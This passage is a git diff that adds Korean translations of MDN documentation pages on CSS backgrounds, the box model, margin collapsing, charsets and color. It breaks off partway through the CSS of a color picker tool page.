둥근 모서리를 실시간으로 확인하며 만들 수 있는 도구입니다.
+
Box-shadow 생성기
+
요소 뒤의 그림자를 실시간으로 확인하며 만들 수 있는 도구입니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Backgrounds') }}{{ Spec2('CSS3 Backgrounds') }}
{{SpecName('CSS2.1', 'box.html')}}{{Spec2('CSS2.1')}}
{{SpecName('CSS1', '#border')}}{{Spec2('CSS1')}}
diff --git a/files/ko/web/css/css_backgrounds_and_borders/scaling_background_images/index.html b/files/ko/web/css/css_backgrounds_and_borders/scaling_background_images/index.html new file mode 100644 index 0000000000..f3f0d6529b --- /dev/null +++ b/files/ko/web/css/css_backgrounds_and_borders/scaling_background_images/index.html @@ -0,0 +1,137 @@ +--- +title: 배경 이미지 크기 조정하기 +slug: Web/CSS/CSS_Backgrounds_and_Borders/Scaling_background_images +tags: + - CSS + - CSS Background + - Example + - Guide + - Intermediate + - Reference + - Web +translation_of: Web/CSS/CSS_Backgrounds_and_Borders/Resizing_background_images +--- +
{{cssref}}
+ +

CSS 배경 이미지의 기본 설정값에서는 원본 이미지가 크기 변화 없이 바둑판식으로 배열됩니다. {{cssxref("background-size")}} 속성에 가로와 세로 크기를 지정해 크기를 바꿀 수 있습니다. 이미지는 원하는대로 확대할 수도, 줄일 수도 있습니다.

+ +

큰 이미지 바둑판식 배열

+ +

2982x2808의 커다란 Firefox 이미지를 가지고 있다고 해보겠습니다. 모종의 이유(끔찍하게 잘못된 사이트 디자인 등)로 300x300 픽셀 요소에 저 이미지 4개를 바둑판식으로 보여야 합니다. background-size와 고정값 150 픽셀로 목표를 달성할 수 있습니다.

+ +

HTML

+ +
<div class="tiledBackground">
+</div>
+ +

CSS

+ +
.tiledBackground {
+  background-image: url(https://mdn.mozillademos.org/files/8971/firefox_logo.png);
+  background-size: 150px;
+  width: 300px;
+  height: 300px;
+  border: 2px solid;
+  color: pink;
+}
+
+ +

Result

+ +

{{EmbedLiveSample("큰_이미지_바둑판식_배열", 340, 340)}}

+ +

이미지 늘리기

+ +

가로와 세로 크기를 각각 지정할 수도 있습니다.

+ +
background-size: 300px 150px;
+
+ +

결과는 다음과 같습니다.

+ +

+ +

작은 이미지 키우기

+ +

반대로 배경 이미지를 키울 수도 있습니다. 다음 코드는 32x32 픽셀 파비콘을 300x300 픽셀로 늘린 결과입니다.

+ +

+ +
.square2 {
+  background-image: url(favicon.png);
+  background-size: 300px;
+  width: 300px;
+  height: 300px;
+  border: 2px solid;
+  text-shadow: white 0px 0px 2px;
+  font-size: 16px;
+}
+
+ +

보시다시피 CSS는 이미지 파일 이름을 제외하면 동일합니다.

+ +

특별한 값: "contain" 과 "cover"

+ +

길이를 나타내는 {{cssxref("<length>")}} 값 대신, {{ cssxref("background-size") }} CSS 속성에 contain 과 cover 두개의 특별한 값을 지정할 수 있습니다. 살펴봅시다.

+ +

contain

+ +

contain 값을 지정하면, 배경 이미지의 가로, 세로 모두 요소보다 작다는 조건하에 가능한 크게 조정됩니다. 이미지의 가로, 세로 비율은 유지됩니다. 따라서 배경 이미지의 크기는 요소의 크기보다 항상 작거나 같습니다. 아래 예제의 크기를 조절해서 실제로 어떻게 동작하는지 확인해보세요.

+ +

HTML

+ +
<div class="bgSizeContain">
+  <p>Try resizing this element!</p>
+</div>
+ +

CSS

+ +
.bgSizeContain {
+  background-image: url(https://mdn.mozillademos.org/files/8971/firefox_logo.png);
+  background-size: contain;
+  width: 160px;
+  height: 160px;
+  border: 2px solid;
+  color: pink;
+  resize: both;
+  overflow: scroll;
+}
+ +

결과

+ +

{{ EmbedLiveSample('contain', 250, 250) }}

+ +

cover

+ +

값을 cover 로 지정하면 배경이미지의 가로, 세로 길이 모두 요소보다 크다는 조건하에 가능한 배경 이미지를 작게 조정합니다. 가로, 세로 비율은 유지됩니다. 따라서 배경 이미지의 크기는 요소의 크기보다 항상 크거나 같습니다. 아래 예제의 크기를 조절해서 실제로 어떻게 동작하는지 확인해보세요.

+ +

HTML

+ +
<div class="bgSizeCover">
+  <p>Try resizing this element!</p>
+</div>
+ +

CSS

+ +
.bgSizeCover {
+  background-image: url(https://mdn.mozillademos.org/files/8971/firefox_logo.png);
+  background-size: cover;
+  width: 160px;
+  height: 160px;
+  border: 2px solid;
+  color: pink;
+  resize: both;
+  overflow: scroll;
+}
+ +

결과

+ +

{{ EmbedLiveSample('cover', 250, 250) }}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html b/files/ko/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html new file mode 100644 index 0000000000..1e0e3deeca --- /dev/null +++ b/files/ko/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html @@ -0,0 +1,59 @@ +--- +title: 한 번에 여러 배경 사용하기 +slug: Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds +tags: + - CSS + - CSS Background + - Example + - Guide + - Reference +translation_of: Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds +--- +
{{CSSRef}}
+ +

여러 개의 배경을 한 번에 적용할 수도 있습니다. 첫 번째 배경이 맨 위에, 마지막 배경이 맨 밑에 위치하는 레이어 구조를 사용하게 됩니다. 마지막 배경에만 배경색을 적용할 수 있습니다.

+ +

여러 배경을 적용하는 건 쉽습니다.

+ +
.myclass {
+  background: background1, background 2, ..., backgroundN;
+}
+
+ +

{{ cssxref("background") }} 단축 속성뿐 아니라 {{cssxref("background-color")}}를 제외한 단일 속성에서도 사용할 수 있습니다. 즉, {{ cssxref("background") }}, {{ cssxref("background-attachment") }}, {{ cssxref("background-clip") }}, {{ cssxref("background-image") }}, {{ cssxref("background-origin") }}, {{ cssxref("background-position") }}, {{ cssxref("background-repeat") }}, {{ cssxref("background-size") }}에는 목록을 값으로 지정할 수 있습니다.

+ +

예제

+ +

다음 예제는 Firefox 로고, 거품, 선형 그레이디언트 총 세 개의 배경을 사용합니다.

+ +

HTML

+ +
<div class="multi-bg-example"></div>
+ +

CSS

+ +
.multi-bg-example {
+  width: 100%;
+  height: 400px;
+  background-image: url(https://mdn.mozillademos.org/files/11305/firefox.png),
+      url(https://mdn.mozillademos.org/files/11307/bubbles.png),
+      linear-gradient(to right, rgba(30, 75, 115, 1), rgba(255, 255, 255, 0));
+  background-repeat: no-repeat,
+      no-repeat,
+      no-repeat;
+  background-position: bottom right,
+      left,
+      right;
+}
+ +

결과

+ +

{{EmbedLiveSample('예제','600','400')}}

+ +

결과에서 볼 수 있듯, {{cssxref("background-image")}}에서 첫 번째로 지정한 Firefox 로고가 맨 위, 그 다음이 거품 그림이고 선형 그레이디언트는 모든 '이미지' 밑에 위치합니다. 하위 속성({{ cssxref("background-repeat") }}, {{ cssxref("background-position") }})의 각 값도 순서에 맞는 배경에 적용됩니다. 따라서 background-repeat의 첫 번째 값은 처음(맨 위) 배경에 적용되고, 두 번째와 두 번째 배경, 세 번째와 세 번째 배경...도 같습니다.

+ +

같이 보기

+ + diff --git a/files/ko/web/css/css_basic_user_interface/index.html b/files/ko/web/css/css_basic_user_interface/index.html new file mode 100644 index 0000000000..4baba659db --- /dev/null +++ b/files/ko/web/css/css_basic_user_interface/index.html @@ -0,0 +1,75 @@ +--- +title: CSS Basic User Interface +slug: Web/CSS/CSS_Basic_User_Interface +tags: + - CSS + - CSS Basic User Interface + - Guide + - Overview + - Reference +translation_of: Web/CSS/CSS_Basic_User_Interface +--- +
{{CSSRef}}
+ +

CSS Basic User Interface는 사용자 인터페이스와 연관된 렌더링 및 기능의 동작 방식을 정의하는 CSS 모듈입니다.

+ +

참고서

+ +

속성

+ +
+
    +
  • {{CSSxRef("appearance")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("box-sizing")}}
  • +
  • {{CSSxRef("cursor")}}
  • +
  • {{CSSxRef("ime-mode")}} {{Deprecated_Inline}}
  • +
  • {{CSSxRef("nav-down")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("nav-left")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("nav-right")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("nav-up")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("outline")}}
  • +
  • {{CSSxRef("outline-width")}}
  • +
  • {{CSSxRef("outline-style")}}
  • +
  • {{CSSxRef("outline-color")}}
  • +
  • {{CSSxRef("outline-offset")}}
  • +
  • {{CSSxRef("resize")}}
  • +
  • {{CSSxRef("text-overflow")}}
  • +
  • {{CSSxRef("user-select")}}
  • +
+
+ +

안내서

+ +
+
cursor 속성값에 URL 사용하기
+
URL을 {{cssxref("cursor")}} 속성에 사용해 사용자 지정 커서를 생성하는 방법을 설명합니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS4 Basic UI")}}{{Spec2("CSS4 Basic UI")}}
{{SpecName("CSS3 Basic UI")}}{{Spec2("CSS3 Basic UI")}}
{{SpecName("CSS2.1", "ui.html")}}{{Spec2("CSS2.1")}}Initial definition.
diff --git a/files/ko/web/css/css_box_model/index.html b/files/ko/web/css/css_box_model/index.html new file mode 100644 index 0000000000..aac36b356a --- /dev/null +++ b/files/ko/web/css/css_box_model/index.html @@ -0,0 +1,113 @@ +--- +title: CSS Basic Box Model +slug: Web/CSS/CSS_Box_Model +tags: + - CSS + - CSS Box Model + - Overview + - Reference +translation_of: Web/CSS/CSS_Box_Model +--- +
{{CSSRef}}
+ +

CSS Basic Box Model은 각 요소에 대해 시각적 서식 모델에 따라 생성하고 배치하는 사각형 박스(안팎 여백 포함)를 위한 CSS 모듈입니다.

+ +

참고서

+ +

속성

+ +

박스 내 콘텐츠 흐름을 제어하는 속성

+ +
+
    +
  • {{cssxref("overflow")}}
  • +
  • {{cssxref("overflow-x")}}
  • +
  • {{cssxref("overflow-y")}}
  • +
+
+ +

박스 크기를 제어하는 속성

+ +
+
    +
  • {{cssxref("height")}}
  • +
  • {{cssxref("width")}}
  • +
  • {{cssxref("max-height")}}
  • +
  • {{cssxref("max-width")}}
  • +
  • {{cssxref("min-height")}}
  • +
  • {{cssxref("min-width")}}
  • +
+
+ +

박스의 바깥 여백을 제어하는 속성

+ +
+
    +
  • {{cssxref("margin")}}
  • +
  • {{cssxref("margin-bottom")}}
  • +
  • {{cssxref("margin-left")}}
  • +
  • {{cssxref("margin-right")}}
  • +
  • {{cssxref("margin-top")}}
  • +
  • {{cssxref("margin-trim")}} {{Experimental_Inline}}
  • +
+
+ +

박스의 안쪽 여백을 제어하는 속성

+ +
+
    +
  • {{cssxref("padding")}}
  • +
  • {{cssxref("padding-bottom")}}
  • +
  • {{cssxref("padding-left")}}
  • +
  • {{cssxref("padding-right")}}
  • +
  • {{cssxref("padding-top")}}
  • +
+
+ +

기타 속성

+ +
+
    +
  • {{cssxref("visibility")}}
  • +
+
+ +

안내서

+ +
+
CSS 박스 모델 입문
+
CSS의 기초 개념 중 하나인 박스 모델을 설명합니다. 박스 모델은 CSS가 요소와 요소의 콘텐츠, 안쪽 여백, 테두리, 바깥 여백 영역을 배치하는 법을 정의합니다.
+
여백 상쇄 정복
+
어떤 경우, 두 개의 인접한 바깥 여백은 하나로 상쇄됩니다. 이 글은 상쇄가 언제 어떻게 일어나고 이를 어떻게 제어하는지 설명합니다.
+
시각적 서식 모델
+
시각적 서식 모델을 설명합니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName("CSS3 Box")}}{{Spec2("CSS3 Box")}}margin-trim 추가.
{{SpecName("CSS2.1", "box.html")}}{{Spec2("CSS2.1")}} 
{{SpecName("CSS1")}}{{Spec2("CSS1")}}초기 정의
diff --git a/files/ko/web/css/css_box_model/introduction_to_the_css_box_model/index.html b/files/ko/web/css/css_box_model/introduction_to_the_css_box_model/index.html new file mode 100644 index 0000000000..dd7718f701 --- /dev/null +++ b/files/ko/web/css/css_box_model/introduction_to_the_css_box_model/index.html @@ -0,0 +1,70 @@ +--- +title: CSS 기본 박스 모델 입문 +slug: Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model +tags: + - CSS + - CSS Box Model + - Guide + - Layout +translation_of: Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model +--- +
{{CSSRef}}
+ +

문서의 레이아웃을 계산할 때, 브라우저의 렌더링 엔진은 표준 CSS 기본 박스 모델에 따라 각각의 요소를 사각형 박스로 표현합니다. CSS는 박스의 크기, 위치, 속성(색, 배경, 테두리 모양 등)을 결정합니다.

+ +

하나의 박스는 네 부분(영역)으로 이루어집니다. 각 영역을 콘텐츠 영역, 안쪽 여백(패딩) 영역, 테두리 영역, 그리고 바깥 여백(마진) 영역이라고 부릅니다.

+ +

CSS Box model

+ +

콘텐츠 영역(content area)은 콘텐츠 경계(content edge)가 감싼 영역으로, 글이나 이미지, 비디오 등 요소의 실제 내용을 포함합니다. 콘텐츠 영역의 크기는 콘텐츠 너비(콘텐츠 박스 너비)와 콘텐츠 높이(콘텐츠 박스 높이)입니다. 배경색과 배경 이미지를 가지고 있기도 합니다.

+ +

{{cssxref("box-sizing")}} 속성의 값이 기본값인 content-box이며 요소가 블록 레벨 요소인 경우, 콘텐츠 영역의 크기를 {{cssxref("width")}}, {{cssxref("min-width")}}, {{cssxref("max-width")}}, {{ cssxref("height") }}, {{cssxref("min-height")}}, {{cssxref("max-height")}} 속성을 사용해 사용해 명시적으로 설정할 수 있습니다.

+ +

안쪽 여백 영역(패딩 영역, padding area)은 안쪽 여백 경계(padding edge)가 감싼 영역으로, 콘텐츠 영역을 요소의 안쪽 여백까지 포함하는 크기로 확장합니다. 영역의 크기는 안쪽 여백 박스 너비와 안쪽 여백 박스 높이입니다.

+ +

안쪽 여백의 두께는 {{cssxref("padding-top")}}, {{cssxref("padding-right")}}, {{cssxref("padding-bottom")}}, {{cssxref("padding-left")}}와 단축 속성인 {{cssxref("padding")}}이 결정합니다.

+ +

테두리 영역(border area)은 테두리 경계(border edge)가 감싼 영역으로, 안쪽 여백 영역을 요소의 테두리까지 포함하는 크기로 확장합니다. 영역의 크기는 테두리 박스 너비와 테두리 박스 높이입니다.

+ +

테두리의 두께는 {{cssxref("border-width")}}와 단축 속성인 {{cssxref("border")}}가 결정합니다. {{cssxref("box-sizing")}} 속성의 값이 border-box라면 테두리 영역의 크기를 {{cssxref("width")}}, {{cssxref("min-width")}}, {{cssxref("max-width")}}, {{ cssxref("height") }}, {{cssxref("min-height")}}, {{cssxref("max-height")}} 속성을 사용해 명시적으로 설정할 수 있습니다. 박스의 배경({{cssxref("background-color")}} 또는 {{cssxref("background-image")}})은 테두리의 바깥 경계까지 늘어나고, 그릴 땐 테두리에 가려집니다. 이 동작 방식은 {{cssxref("background-clip")}} 속성으로 바꿀 수 있습니다.

+ +

바깥 여백 영역(마진 영역, margin area)은 바깥 여백 경계(margin edge)가 감싼 영역으로, 테두리 요소를 확장해 요소와 인근 요소 사이의 빈 공간까지 포함하도록 만듭니다. 영역의 크기는 바깥 여백 박스 너비와 바깥 여백 박스 높이입니다.

+ +

바깥 여백 영역의 크기는 {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}}, {{cssxref("margin-left")}}와 단축 속성인 {{cssxref("margin")}}이 결정합니다. 여백 상쇄가 발생할 때는 요소 간에 바깥 여백이 공유되므로 여백 영역이 명확하게 결정되지 않습니다.

+ +

끝으로, 비대체 인라인 요소가 차지하는 공간의 크기(줄 높이에 기여하는 양)는, 요소 주위에 테두리와 안쪽 여백이 표시되더라도 {{cssxref("line-height")}} 속성으로 결정한다는 점을 주의하세요.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Box', '#intro')}}{{Spec2('CSS3 Box')}}
{{ SpecName("CSS2.1","box.html#box-dimensions")}}{{Spec2('CSS2.1')}}Though more precisely worded, there is no practical change.
{{ SpecName("CSS1","#formatting-model")}}{{Spec2('CSS1')}}Initial definition.
+ +

같이 보기

+ +
    +
  • {{css_key_concepts}}
  • +
diff --git a/files/ko/web/css/css_box_model/mastering_margin_collapsing/index.html b/files/ko/web/css/css_box_model/mastering_margin_collapsing/index.html new file mode 100644 index 0000000000..1dd8b04888 --- /dev/null +++ b/files/ko/web/css/css_box_model/mastering_margin_collapsing/index.html @@ -0,0 +1,82 @@ +--- +title: 여백 상쇄 정복 +slug: Web/CSS/CSS_Box_Model/Mastering_margin_collapsing +tags: + - CSS + - CSS Box Model + - Guide + - Reference +translation_of: Web/CSS/CSS_Box_Model/Mastering_margin_collapsing +--- +
{{CSSRef}}
+ +

여러 블록의 위쪽아래쪽 바깥 여백(마진)은 경우에 따라 제일 큰 여백의 크기를 가진 단일 여백으로 결합(상쇄)되곤 합니다. 이런 동작을 여백 상쇄라고 부릅니다. 단, 플로팅 요소와 절대 위치를 지정한 요소의 여백은 절대 상쇄되지 않습니다.

+ +

여백 상쇄는 다음과 같은 세 가지 기본 상황에 발생합니다.

+ +
+
인접 형제
+
인접 형제 요소간의 바깥 여백은 서로 상쇄됩니다. (단, 뒤쪽 형제가 플로팅을 해제해야 하는 경우는 예외)
+
부모와 자손을 분리하는 콘텐츠 없음
+
부모 블록에 테두리, 안쪽 여백, 인라인 부분이 없고 블록 서식 맥락이 생성되지 않았으며 부모의 {{cssxref("margin-top")}}을 자손의 margin-top과 분리할 권한이 없는 경우, 또는, 부모 블록에 테두리, 안쪽 여백, 인라인 콘텐츠가 없으며 부모의 {{cssxref("margin-bottom")}}과 자손의 margin-bottom을 분리할 {{cssxref("height")}}, {{cssxref("min-height")}}, {{cssxref("max-height")}}가 존재하지 않는 경우 부모와 자손의 여백이 상쇄됩니다. 상쇄된 여백은 부모 블록 바깥에 위치합니다.
+
빈 블록
+
테두리, 안쪽 여백, 인라인 콘텐츠, {{cssxref("height")}}, {{cssxref("min-height")}}, {{cssxref("max-height")}}가 없으면 블록의 {{cssxref("margin-top")}}과 {{cssxref("margin-bottom")}}이 서로 상쇄됩니다.
+
+ +

다음은 참고할만한 사항입니다.

+ +
    +
  • (세 개 이상의 여백 사이의) 더 복잡한 여백 상쇄는 위의 기본 상황이 서로 결합되어 발생합니다.
  • +
  • 위의 규칙은 바깥 여백이 0이어도 적용되므로, 두 번째 규칙을 만족하는 경우 부모의 바깥 여백이 0이건 아니건 자손의 바깥 여백은 부모 밖으로 나오게 됩니다.
  • +
  • 음수 값을 가진 바깥 여백을 포함할 경우, 상쇄된 여백의 크기는 제일 큰 양수 여백과 제일 작은(음의 방향으로, 절댓값이 제일 큰) 여백의 합이 됩니다.
  • +
  • 모든 바깥 여백이 음수 값을 가질 경우, 상쇄된 여백의 크기는 제일 작은(음의 방향으로, 절댓값이 제일 큰) 여백의 크기가 됩니다. 인접 요소와 중첩 요소 모두에 적용됩니다.
  • +
+ +

예제

+ +

HTML

+ +
<p>The bottom margin of this paragraph is collapsed …</p>
+<p>… with the top margin of this paragraph, yielding a margin of <code>1.2rem</code> in between.</p>
+
+<div>This parent element contains two paragraphs!
+  <p>This paragraph has a <code>.4rem</code> margin between it and the text above.</p>
+  <p>My bottom margin collapses with my parent, yielding a bottom margin of <code>2rem</code>.</p>
+</div>
+
+<p>I am <code>2rem</code> below the element above.</p>
+ +

CSS

+ +
div {
+  margin: 2rem 0;
+  background: lavender;
+}
+
+p {
+  margin: .4rem 0 1.2rem 0;
+  background: yellow;
+}
+ +

결과

+ +

{{EmbedLiveSample('예제', 'auto', 350)}}

+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName("CSS2.1", "box.html#collapsing-margins", "margin collapsing")}}{{Spec2("CSS2.1")}}초기 정의
diff --git a/files/ko/web/css/css_charsets/index.html b/files/ko/web/css/css_charsets/index.html new file mode 100644 index 0000000000..484285591d --- /dev/null +++ b/files/ko/web/css/css_charsets/index.html @@ -0,0 +1,44 @@ +--- +title: CSS Charsets +slug: Web/CSS/CSS_Charsets +tags: + - CSS + - CSS Charsets + - Overview + - Reference +translation_of: Web/CSS/CSS_Charsets +--- +
{{CSSRef}}
+ +

CSS Charsets는 스타일 시트에서 사용하는 문자 집합을 정의할 수 있는 CSS 모듈입니다.

+ +

참고서

+ +

@규칙

+ +
+
    +
  • {{cssxref("@charset")}}
  • +
+
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName('CSS2.1', 'syndata.html#x57', '@charset')}}{{Spec2('CSS2.1')}}초기 정의
+ +
 
diff --git a/files/ko/web/css/css_color/index.html b/files/ko/web/css/css_color/index.html new file mode 100644 index 0000000000..06d7418de0 --- /dev/null +++ b/files/ko/web/css/css_color/index.html @@ -0,0 +1,110 @@ +--- +title: CSS Color +slug: Web/CSS/CSS_Color +tags: + - CSS + - CSS Colors + - HTML Colors + - Overview + - Reference +translation_of: Web/CSS/CSS_Color +--- +
{{CSSRef}}
+ +

CSS 색상은 색상, 색상 유형, 색상 혼합, 투명도 및 이러한 색상 효과를 HTML에 적용하는 방법을 다루는 CSS 모듈입니다. {{cssxref("<color>")}} 값을 취하는 모든 CSS 속성이 이 모듈에 속하는건 아니지만 의존성은 가지고 있습니다.

+ +

참고서

+ +

속성

+ +
+
    +
  • {{cssxref("color")}}
  • +
  • {{cssxref("color-adjust")}}
  • +
  • {{cssxref("opacity")}}
  • +
+
+ +

자료형

+ +
+
    +
  • {{cssxref("<color>")}}
  • +
+
+ +

안내서

+ +
+
CSS를 사용하여 HTML 요소에 색상 적용하기
+
CSS를 사용하여 다양한 유형의 콘텐츠에 색상을 적용하는 방법에 대한 안내서입니다. 모든 색상 관련 CSS 속성이 적용됩니다.​
+
+ +

도구

+ +
+
색상 선택 도구
+
이 도구를 사용하면 맞춤 색상을 쉽게 만들고 조정하고 실험 할 수 있습니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Colors')}}{{Spec2('CSS3 Colors')}} 
{{SpecName('CSS2.1', 'colors.html')}}{{Spec2('CSS2.1')}} 
{{SpecName('CSS1')}}{{Spec2('CSS1')}}Initial definition
+ +

브라우저 호환성

+ +

color 속성

+ +
+ + +

{{Compat("css.properties.color")}}

+ +

color-adjust 속성

+ +
+ + +

{{Compat("css.properties.color-adjust")}}

+ +

opacity 속성

+ +
+ + +

{{Compat("css.properties.opacity")}}

+
+
+
+ +

같이 보기

+ +
    +
  • 다른 사양의 일부 색상 관련 속성 : {{cssxref("background-color")}}, {{cssxref("border-color")}}, {{cssxref("outline-color")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-emphasis-color")}}, {{cssxref("text-shadow")}}, {{cssxref("caret-color")}}, and {{cssxref("column-rule-color")}}
  • +
  • CSS에서는 그레이디언트가 색상이 아니라 이미지입니다.
  • +
diff --git a/files/ko/web/css/css_colors/color_picker_tool/index.html b/files/ko/web/css/css_colors/color_picker_tool/index.html new file mode 100644 index 0000000000..f5437c05b5 --- /dev/null +++ b/files/ko/web/css/css_colors/color_picker_tool/index.html @@ -0,0 +1,3238 @@ +--- +title: Color picker tool +slug: Web/CSS/CSS_Colors/Color_picker_tool +translation_of: Web/CSS/CSS_Colors/Color_picker_tool +--- +
+

ColorPicker tool

+ +

HTML

+ +
    <div id="container">
+        <div id="palette" class="block">
+            <div id="color-palette"></div>
+            <div id="color-info">
+                <div class="title"> CSS Color </div>
+            </div>
+        </div>
+
+        <div id="picker" class="block">
+            <div class="ui-color-picker" data-topic="picker" data-mode="HSL"></div>
+            <div id="picker-samples" sample-id="master"></div>
+            <div id="controls">
+                <div id="delete">
+                    <div id="trash-can"></div>
+                </div>
+                <div id="void-sample" class="icon"></div>
+            </div>
+        </div>
+
+        <div id="canvas" data-tutorial="drop">
+            <div id="zindex" class="ui-input-slider" data-topic="z-index" data-info="z-index"
+                data-max="20" data-sensivity="10"></div>
+        </div>
+    </div>
+
+
+ +

CSS

+ +
/*
+ * COLOR PICKER TOOL
+ */
+
+.ui-color-picker {
+	width: 420px;
+	margin: 0;
+	border: 1px solid #DDD;
+	background-color: #FFF;
+	display: table;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.ui-color-picker .picking-area {
+	width: 198px;
+	height: 198px;
+	margin: 5px;
+	border: 1px solid #DDD;
+	position: relative;
+	float: left;
+	display: table;
+}
+
+.ui-color-picker .picking-area:hover {
+	cursor: default;
+}
+
+/* HSV format - Hue-Saturation-Value(Brightness) */
+.ui-color-picker .picking-area {
+	background: url('https://mdn.mozillademos.org/files/5707/picker_mask_200.png') center center;
+
+	background: -moz-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-moz-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background: -webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-webkit-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background: -ms-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-ms-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background: -o-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-o-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+
+	background-color: #F00;
+}
+
+/* HSL format - Hue-Saturation-Lightness */
+.ui-color-picker[data-mode='HSL'] .picking-area {
+	background: -moz-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+				-moz-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+	background: -webkit-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+				-webkit-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+	background: -ms-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+				-ms-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+	background: -o-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+				-o-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+	background-color: #F00;
+}
+
+.ui-color-picker .picker {
+	width: 10px;
+	height: 10px;
+	border-radius: 50%;
+	border: 1px solid #FFF;
+	position: absolute;
+	top: 45%;
+	left: 45%;
+}
+
+.ui-color-picker .picker:before {
+	width: 8px;
+	height: 8px;
+	content: "";
+	position: absolute;
+	border: 1px solid #999;
+	border-radius: 50%;
+}
+
+.ui-color-picker .hue,
+.ui-color-picker .alpha {
+	width: 198px;
+	height: 28px;
+	margin: 5px;
+	border: 1px solid #FFF;
+	float: left;
+}
+
+.ui-color-picker .hue {
+	background: url("https://mdn.mozillademos.org/files/5701/hue.png") center;
+	background: -moz-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	background: -webkit-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	background: -ms-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	background: -o-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+}
+
+.ui-color-picker .alpha {
+	border: 1px solid #CCC;
+	background: url("https://mdn.mozillademos.org/files/5705/alpha.png");
+}
+
+.ui-color-picker .alpha-mask {
+	width: 100%;
+	height: 100%;
+	background: url("https://mdn.mozillademos.org/files/6089/alpha_mask.png");
+}
+
+.ui-color-picker .slider-picker {
+	width: 2px;
+	height: 100%;
+	border: 1px solid #777;
+	background-color: #FFF;
+	position: relative;
+	top: -1px;
+}
+
+/* input HSV and RGB */
+
+.ui-color-picker .info {
+	width: 200px;
+	margin: 5px;
+	float: left;
+}
+
+.ui-color-picker .info * {
+	float: left;
+}
+
+.ui-color-picker .input {
+	width: 64px;
+	margin: 5px 2px;
+	float: left;
+}
+
+.ui-color-picker .input .name {
+	height: 20px;
+	width: 30px;
+	text-align: center;
+	font-size: 14px;
+	line-height: 18px;
+	float: left;
+}
+
+.ui-color-picker .input input {
+	width: 30px;
+	height: 18px;
+	margin: 0;
+	padding: 0;
+	border: 1px solid #DDD;
+	text-align: center;
+	float: right;
+
+	-moz-user-select: text;
+	-webkit-user-select: text;
+	-ms-user-select: text;
+}
+
+.ui-color-picker .input[data-topic="lightness"] {
+	display: none;
+}
+
+.ui-color-picker[data-mode='HSL'] .input[data-topic="value"] {
+	display: none;
+}
+
+.ui-color-picker[data-mode='HSL'] .input[data-topic="lightness"] {
+	display: block;
+}
+
+.ui-color-picker .input[data-topic="alpha"] {
+	margin-top: 10px;
+	width: 93px;
+}
+
+.ui-color-picker .input[data-topic="alpha"] > .name {
+	width: 60px;
+}
+
+.ui-color-picker .input[data-topic="alpha"] > input {
+	float: right;
+}
+
+.ui-color-picker .input[data-topic="hexa"] {
+	width: auto;
+	float: right;
